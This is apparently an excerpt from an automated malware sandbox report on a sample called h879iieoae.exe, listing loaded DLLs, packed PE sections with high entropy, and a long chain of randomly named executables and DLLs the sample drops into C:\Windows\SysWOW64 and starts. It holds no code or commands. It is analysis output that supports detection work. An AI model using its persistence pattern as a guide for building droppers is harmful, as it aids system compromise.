Source: C:\Windows\SysWOW64\Baagdk32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Baagdk32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Baagdk32.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Baagdk32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ccapffke.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ccapffke.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ccapffke.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ccapffke.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ceampi32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Ceampi32.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Ceampi32.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Ceampi32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Camgpi32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Camgpi32.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Camgpi32.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Camgpi32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Dfcboo32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Dfcboo32.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Dfcboo32.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Dfcboo32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Edgbhcim.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Edgbhcim.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Edgbhcim.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Edgbhcim.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Emogai32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Emogai32.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Emogai32.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Emogai32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Eoappk32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Eoappk32.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Eoappk32.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Eoappk32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Fhedeo32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Fhedeo32.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Fhedeo32.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Fhedeo32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Feidnc32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Feidnc32.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Feidnc32.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Feidnc32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\Foaigifk.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\Foaigifk.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\Foaigifk.exe	Section loaded: crtdll.dll
Source: C:\Windows\SysWOW64\Foaigifk.exe	Section loaded: ntmarta.dll

Source: C:\Users\user\Desktop\h879iieoae.exe

Code function: 0_2_00402E06 GetVersion,LoadLibraryA,GetProcAddress,IsBadReadPtr,GlobalMemoryStatus,GetEnvironmentStringsW,CloseHandle,GetModuleHandleA,VirtualQuery,IsBadWritePtr,

0_2_00402E06

Source: initial sample

Static PE information: section where entry point is pointing to: .embm

Source: h879iieoae.exe	Static PE information: section name: .embm
Source: Nejhbi32.exe.0.dr	Static PE information: section name: .embm
Source: Ogjdllpi.exe.1.dr	Static PE information: section name: .embm
Source: Opbieagi.exe.2.dr	Static PE information: section name: .embm
Source: Oglabl32.exe.3.dr	Static PE information: section name: .embm
Source: Olijjb32.exe.4.dr	Static PE information: section name: .embm
Source: Oeanchcn.exe.5.dr	Static PE information: section name: .embm
Source: Oceoll32.exe.6.dr	Static PE information: section name: .embm
Source: Onkcje32.exe.7.dr	Static PE information: section name: .embm
Source: Odekfoij.exe.8.dr	Static PE information: section name: .embm
Source: Ojacofgb.exe.9.dr	Static PE information: section name: .embm
Source: Ppllkpoo.exe.10.dr	Static PE information: section name: .embm
Source: Plbmqa32.exe.11.dr	Static PE information: section name: .embm
Source: Plgflqpn.exe.12.dr	Static PE information: section name: .embm
Source: Pqeoao32.exe.13.dr	Static PE information: section name: .embm
Source: Qgcpihjl.exe.14.dr	Static PE information: section name: .embm
Source: Ajkolbad.exe.15.dr	Static PE information: section name: .embm
Source: Bmlhnnne.exe.16.dr	Static PE information: section name: .embm
Source: Bgamkfnl.exe.17.dr	Static PE information: section name: .embm
Source: Bqjacldl.exe.18.dr	Static PE information: section name: .embm
Source: Bnnampcf.exe.19.dr	Static PE information: section name: .embm
Source: Bnpnbp32.exe.20.dr	Static PE information: section name: .embm
Source: Bgibkegc.exe.21.dr	Static PE information: section name: .embm
Source: Baagdk32.exe.22.dr	Static PE information: section name: .embm
Source: Cfnpmb32.exe.23.dr	Static PE information: section name: .embm
Source: Ccapffke.exe.24.dr	Static PE information: section name: .embm
Source: Ceampi32.exe.25.dr	Static PE information: section name: .embm
Source: Cnjaioih.exe.26.dr	Static PE information: section name: .embm
Source: Camgpi32.exe.27.dr	Static PE information: section name: .embm
Source: Dmfdkj32.exe.28.dr	Static PE information: section name: .embm
Source: Dnhmjm32.exe.29.dr	Static PE information: section name: .embm
Source: Dfcboo32.exe.30.dr	Static PE information: section name: .embm
Source: Edgbhcim.exe.31.dr	Static PE information: section name: .embm
Source: Emogai32.exe.32.dr	Static PE information: section name: .embm
Source: Efgkjnfn.exe.33.dr	Static PE information: section name: .embm
Source: Eoappk32.exe.34.dr	Static PE information: section name: .embm
Source: Fkogfkdj.exe.35.dr	Static PE information: section name: .embm
Source: Fhedeo32.exe.36.dr	Static PE information: section name: .embm
Source: Feidnc32.exe.37.dr	Static PE information: section name: .embm
Source: Foaigifk.exe.38.dr	Static PE information: section name: .embm
Source: Ggmnlk32.exe.39.dr	Static PE information: section name: .embm

Source: h879iieoae.exe	Static PE information: section name: .text entropy: 7.190507132248476
Source: Nejhbi32.exe.0.dr	Static PE information: section name: .text entropy: 7.183772002837302
Source: Ogjdllpi.exe.1.dr	Static PE information: section name: .text entropy: 7.147443164942795
Source: Opbieagi.exe.2.dr	Static PE information: section name: .text entropy: 7.178518855910967
Source: Oglabl32.exe.3.dr	Static PE information: section name: .text entropy: 7.185742599580611
Source: Olijjb32.exe.4.dr	Static PE information: section name: .text entropy: 7.110531950014891
Source: Oeanchcn.exe.5.dr	Static PE information: section name: .text entropy: 7.185357437360054
Source: Oceoll32.exe.6.dr	Static PE information: section name: .text entropy: 7.168480651808014
Source: Onkcje32.exe.7.dr	Static PE information: section name: .text entropy: 7.130939198292088
Source: Odekfoij.exe.8.dr	Static PE information: section name: .text entropy: 7.174220243060091
Source: Ojacofgb.exe.9.dr	Static PE information: section name: .text entropy: 7.131994312266599
Source: Ppllkpoo.exe.10.dr	Static PE information: section name: .text entropy: 7.197605282946569
Source: Plbmqa32.exe.11.dr	Static PE information: section name: .text entropy: 7.212747053446963
Source: Plgflqpn.exe.12.dr	Static PE information: section name: .text entropy: 7.1777361111263085
Source: Pqeoao32.exe.13.dr	Static PE information: section name: .text entropy: 7.177836248776215
Source: Qgcpihjl.exe.14.dr	Static PE information: section name: .text entropy: 7.134079001018797
Source: Ajkolbad.exe.15.dr	Static PE information: section name: .text entropy: 7.150402572619783
Source: Bmlhnnne.exe.16.dr	Static PE information: section name: .text entropy: 7.194431112405807
Source: Bgamkfnl.exe.17.dr	Static PE information: section name: .text entropy: 7.0988104927922295
Source: Bqjacldl.exe.18.dr	Static PE information: section name: .text entropy: 7.091013664503109
Source: Bnnampcf.exe.19.dr	Static PE information: section name: .text entropy: 7.20252439678255
Source: Bnpnbp32.exe.20.dr	Static PE information: section name: .text entropy: 7.1751185880285115
Source: Bgibkegc.exe.21.dr	Static PE information: section name: .text entropy: 7.158359166193943
Source: Baagdk32.exe.22.dr	Static PE information: section name: .text entropy: 7.113332370732262
Source: Cfnpmb32.exe.23.dr	Static PE information: section name: .text entropy: 7.113109514581295
Source: Ccapffke.exe.24.dr	Static PE information: section name: .text entropy: 7.164772969477855
Source: Ceampi32.exe.25.dr	Static PE information: section name: .text entropy: 7.179274547360003
Source: Cnjaioih.exe.26.dr	Static PE information: section name: .text entropy: 7.167456147293733
Source: Camgpi32.exe.27.dr	Static PE information: section name: .text entropy: 7.196413393675492
Source: Dmfdkj32.exe.28.dr	Static PE information: section name: .text entropy: 7.086782180666274
Source: Dnhmjm32.exe.29.dr	Static PE information: section name: .text entropy: 7.1935468123219515
Source: Dfcboo32.exe.30.dr	Static PE information: section name: .text entropy: 7.176616641968521
Source: Edgbhcim.exe.31.dr	Static PE information: section name: .text entropy: 7.1259826879390165
Source: Emogai32.exe.32.dr	Static PE information: section name: .text entropy: 7.151027716339847
Source: Efgkjnfn.exe.33.dr	Static PE information: section name: .text entropy: 7.165314105248902
Source: Eoappk32.exe.34.dr	Static PE information: section name: .text entropy: 7.116004280215482
Source: Fkogfkdj.exe.35.dr	Static PE information: section name: .text entropy: 7.127555706075136
Source: Fhedeo32.exe.36.dr	Static PE information: section name: .text entropy: 7.18609657669522
Source: Feidnc32.exe.37.dr	Static PE information: section name: .text entropy: 7.156173388913616
Source: Foaigifk.exe.38.dr	Static PE information: section name: .text entropy: 7.1848996080474326
Source: Ggmnlk32.exe.39.dr	Static PE information: section name: .text entropy: 7.179269799391079

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\Oeanchcn.exe	Executable created and started: C:\Windows\SysWOW64\Oceoll32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Executable created and started: C:\Windows\SysWOW64\Ogjdllpi.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Executable created and started: C:\Windows\SysWOW64\Bnnampcf.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Executable created and started: C:\Windows\SysWOW64\Plgflqpn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Executable created and started: C:\Windows\SysWOW64\Ajkolbad.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Executable created and started: C:\Windows\SysWOW64\Plbmqa32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Executable created and started: C:\Windows\SysWOW64\Bgibkegc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Onkcje32.exe	Executable created and started: C:\Windows\SysWOW64\Odekfoij.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	Executable created and started: C:\Windows\SysWOW64\Dnhmjm32.exe
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Executable created and started: C:\Windows\SysWOW64\Bmlhnnne.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Oglabl32.exe	Executable created and started: C:\Windows\SysWOW64\Olijjb32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Executable created and started: C:\Windows\SysWOW64\Bnpnbp32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Dfcboo32.exe	Executable created and started: C:\Windows\SysWOW64\Edgbhcim.exe
Source: C:\Windows\SysWOW64\Emogai32.exe	Executable created and started: C:\Windows\SysWOW64\Efgkjnfn.exe
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Executable created and started: C:\Windows\SysWOW64\Camgpi32.exe
Source: C:\Windows\SysWOW64\Eoappk32.exe	Executable created and started: C:\Windows\SysWOW64\Fkogfkdj.exe
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Executable created and started: C:\Windows\SysWOW64\Ppllkpoo.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Opbieagi.exe	Executable created and started: C:\Windows\SysWOW64\Oglabl32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Camgpi32.exe	Executable created and started: C:\Windows\SysWOW64\Dmfdkj32.exe
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	Executable created and started: C:\Windows\SysWOW64\Dfcboo32.exe
Source: C:\Windows\SysWOW64\Ceampi32.exe	Executable created and started: C:\Windows\SysWOW64\Cnjaioih.exe
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Executable created and started: C:\Windows\SysWOW64\Bqjacldl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	Executable created and started: C:\Windows\SysWOW64\Eoappk32.exe
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Executable created and started: C:\Windows\SysWOW64\Bgamkfnl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Executable created and started: C:\Windows\SysWOW64\Ccapffke.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Edgbhcim.exe	Executable created and started: C:\Windows\SysWOW64\Emogai32.exe
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Executable created and started: C:\Windows\SysWOW64\Qgcpihjl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Feidnc32.exe	Executable created and started: C:\Windows\SysWOW64\Foaigifk.exe
Source: C:\Windows\SysWOW64\Oceoll32.exe	Executable created and started: C:\Windows\SysWOW64\Onkcje32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Fhedeo32.exe	Executable created and started: C:\Windows\SysWOW64\Feidnc32.exe
Source: C:\Windows\SysWOW64\Olijjb32.exe	Executable created and started: C:\Windows\SysWOW64\Oeanchcn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Executable created and started: C:\Windows\SysWOW64\Pqeoao32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Baagdk32.exe	Executable created and started: C:\Windows\SysWOW64\Cfnpmb32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Executable created and started: C:\Windows\SysWOW64\Opbieagi.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Odekfoij.exe	Executable created and started: C:\Windows\SysWOW64\Ojacofgb.exe	Jump to behavior
Source: C:\Users\user\Desktop\h879iieoae.exe	Executable created and started: C:\Windows\SysWOW64\Nejhbi32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Executable created and started: C:\Windows\SysWOW64\Baagdk32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	Executable created and started: C:\Windows\SysWOW64\Fhedeo32.exe
Source: C:\Windows\SysWOW64\Ccapffke.exe	Executable created and started: C:\Windows\SysWOW64\Ceampi32.exe	Jump to behavior

Source: C:\Windows\SysWOW64\Bgibkegc.exe	File created: C:\Windows\SysWOW64\Foelkeee.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Oeanchcn.exe	File created: C:\Windows\SysWOW64\Oceoll32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Nejhbi32.exe	File created: C:\Windows\SysWOW64\Ogjdllpi.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bqjacldl.exe	File created: C:\Windows\SysWOW64\Bnnampcf.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Plbmqa32.exe	File created: C:\Windows\SysWOW64\Plgflqpn.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	File created: C:\Windows\SysWOW64\Ajkolbad.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Opbieagi.exe	File created: C:\Windows\SysWOW64\Hjanmb32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	File created: C:\Windows\SysWOW64\Plbmqa32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	File created: C:\Windows\SysWOW64\Bgibkegc.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Odekfoij.exe	File created: C:\Windows\SysWOW64\Bdlhdkdf.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Onkcje32.exe	File created: C:\Windows\SysWOW64\Odekfoij.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Ojacofgb.exe	File created: C:\Windows\SysWOW64\Accicdme.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ajkolbad.exe	File created: C:\Windows\SysWOW64\Iemjhp32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	File created: C:\Windows\SysWOW64\Dnhmjm32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bqjacldl.exe	File created: C:\Windows\SysWOW64\Lfjejf32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ajkolbad.exe	File created: C:\Windows\SysWOW64\Bmlhnnne.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Plgflqpn.exe	File created: C:\Windows\SysWOW64\Akghbg32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\h879iieoae.exe	File created: C:\Windows\SysWOW64\Jcofqqkm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	File created: C:\Windows\SysWOW64\Ibigijoc.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Oglabl32.exe	File created: C:\Windows\SysWOW64\Jdackq32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	File created: C:\Windows\SysWOW64\Chfnmf32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	File created: C:\Windows\SysWOW64\Fkdfmkhi.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	File created: C:\Windows\SysWOW64\Ajikgq32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Olijjb32.exe	File created: C:\Windows\SysWOW64\Ligdce32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Oglabl32.exe	File created: C:\Windows\SysWOW64\Olijjb32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bnnampcf.exe	File created: C:\Windows\SysWOW64\Bnpnbp32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Dfcboo32.exe	File created: C:\Windows\SysWOW64\Edgbhcim.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Emogai32.exe	File created: C:\Windows\SysWOW64\Efgkjnfn.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Cnjaioih.exe	File created: C:\Windows\SysWOW64\Camgpi32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Feidnc32.exe	File created: C:\Windows\SysWOW64\Hdgplo32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Camgpi32.exe	File created: C:\Windows\SysWOW64\Ibbpip32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Eoappk32.exe	File created: C:\Windows\SysWOW64\Fkogfkdj.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Ojacofgb.exe	File created: C:\Windows\SysWOW64\Ppllkpoo.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Opbieagi.exe	File created: C:\Windows\SysWOW64\Oglabl32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Camgpi32.exe	File created: C:\Windows\SysWOW64\Dmfdkj32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	File created: C:\Windows\SysWOW64\Dfcboo32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	File created: C:\Windows\SysWOW64\Gfdcflnh.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ceampi32.exe	File created: C:\Windows\SysWOW64\Cnjaioih.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bnnampcf.exe	File created: C:\Windows\SysWOW64\Ekpjke32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ceampi32.exe	File created: C:\Windows\SysWOW64\Hjjfnehb.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	File created: C:\Windows\SysWOW64\Bqjacldl.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	File created: C:\Windows\SysWOW64\Eoappk32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	File created: C:\Windows\SysWOW64\Bgamkfnl.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	File created: C:\Windows\SysWOW64\Hjdhea32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Plbmqa32.exe	File created: C:\Windows\SysWOW64\Lfcadoap.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Edgbhcim.exe	File created: C:\Windows\SysWOW64\Kfnpbj32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Baagdk32.exe	File created: C:\Windows\SysWOW64\Fcjdhk32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Dfcboo32.exe	File created: C:\Windows\SysWOW64\Pfgpqb32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Onkcje32.exe	File created: C:\Windows\SysWOW64\Jgemldcp.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	File created: C:\Windows\SysWOW64\Ccapffke.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Edgbhcim.exe	File created: C:\Windows\SysWOW64\Emogai32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Pqeoao32.exe	File created: C:\Windows\SysWOW64\Qgcpihjl.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Feidnc32.exe	File created: C:\Windows\SysWOW64\Foaigifk.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Oceoll32.exe	File created: C:\Windows\SysWOW64\Onkcje32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Eoappk32.exe	File created: C:\Windows\SysWOW64\Lbfpda32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Fhedeo32.exe	File created: C:\Windows\SysWOW64\Njaakj32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	File created: C:\Windows\SysWOW64\Pkjmee32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	File created: C:\Windows\SysWOW64\Mfdadc32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Fhedeo32.exe	File created: C:\Windows\SysWOW64\Feidnc32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Pqeoao32.exe	File created: C:\Windows\SysWOW64\Clqdacnn.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Foaigifk.exe	File created: C:\Windows\SysWOW64\Ckaenpam.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Olijjb32.exe	File created: C:\Windows\SysWOW64\Oeanchcn.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Cnjaioih.exe	File created: C:\Windows\SysWOW64\Ahhhnd32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ccapffke.exe	File created: C:\Windows\SysWOW64\Ipqipqal.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Foaigifk.exe	File created: C:\Windows\SysWOW64\Ggmnlk32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Emogai32.exe	File created: C:\Windows\SysWOW64\Flhljo32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Plgflqpn.exe	File created: C:\Windows\SysWOW64\Pqeoao32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Oceoll32.exe	File created: C:\Windows\SysWOW64\Fehgpcld.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Baagdk32.exe	File created: C:\Windows\SysWOW64\Cfnpmb32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Nejhbi32.exe	File created: C:\Windows\SysWOW64\Bpghkh32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	File created: C:\Windows\SysWOW64\Opbieagi.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	File created: C:\Windows\SysWOW64\Pdmohf32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Odekfoij.exe	File created: C:\Windows\SysWOW64\Ojacofgb.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	File created: C:\Windows\SysWOW64\Ekpkmk32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\h879iieoae.exe	File created: C:\Windows\SysWOW64\Nejhbi32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Oeanchcn.exe	File created: C:\Windows\SysWOW64\Pdkggn32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bgibkegc.exe	File created: C:\Windows\SysWOW64\Baagdk32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	File created: C:\Windows\SysWOW64\Fhedeo32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	File created: C:\Windows\SysWOW64\Khlnhl32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ccapffke.exe	File created: C:\Windows\SysWOW64\Ceampi32.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\Bgibkegc.exe	File created: C:\Windows\SysWOW64\Foelkeee.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Oeanchcn.exe	File created: C:\Windows\SysWOW64\Oceoll32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Nejhbi32.exe	File created: C:\Windows\SysWOW64\Ogjdllpi.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bqjacldl.exe	File created: C:\Windows\SysWOW64\Bnnampcf.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Plbmqa32.exe	File created: C:\Windows\SysWOW64\Plgflqpn.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	File created: C:\Windows\SysWOW64\Ajkolbad.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Opbieagi.exe	File created: C:\Windows\SysWOW64\Hjanmb32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	File created: C:\Windows\SysWOW64\Plbmqa32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	File created: C:\Windows\SysWOW64\Bgibkegc.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Odekfoij.exe	File created: C:\Windows\SysWOW64\Bdlhdkdf.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Onkcje32.exe	File created: C:\Windows\SysWOW64\Odekfoij.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Ojacofgb.exe	File created: C:\Windows\SysWOW64\Accicdme.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ajkolbad.exe	File created: C:\Windows\SysWOW64\Iemjhp32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	File created: C:\Windows\SysWOW64\Dnhmjm32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bqjacldl.exe	File created: C:\Windows\SysWOW64\Lfjejf32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ajkolbad.exe	File created: C:\Windows\SysWOW64\Bmlhnnne.exe	Jump to dropped file
